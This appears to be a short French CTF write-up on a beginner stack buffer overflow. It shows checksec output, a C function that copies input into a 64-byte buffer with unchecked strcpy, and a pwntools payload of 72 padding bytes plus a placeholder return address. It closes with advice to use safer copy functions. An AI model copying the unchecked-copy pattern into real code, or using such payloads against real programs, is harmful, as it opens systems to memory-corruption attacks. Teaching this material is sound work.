Aller au contenu

ilyes@hors-bande:~/articles$ cat ctf.md

un buffer overflow simple

· 1 min de lecture · mis à jour le 2026-10-19 · #cyber #ctf

Le binaire

On commence par regarder les protections du binaire avec checksec :

$ checksec --file=./vuln
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX disabled   No PIE

Pas de canari, pas de NX : la pile est exécutable. Le code source ressemble à ceci :

#include <stdio.h>
#include <string.h>

void vuln(char *input)
{
    char buffer[64];

    strcpy(buffer, input); // aucune vérification de taille
    printf("Bonjour %s\n", buffer);
}

L’exploitation

Étape Outil Résultat
Trouver l’offset cyclic 72 octets
Contrôler RIP gdb 0x4141414141414141
Exécuter un shell pwntools 🎉
from pwn import *

payload = b"A" * 72 + p64(0xdeadbeef)
p = process(["./vuln", payload])
p.interactive()

À retenir

strcpy ne vérifie jamais la taille de la destination : préférez strlcpy ou snprintf.

retour au terminal…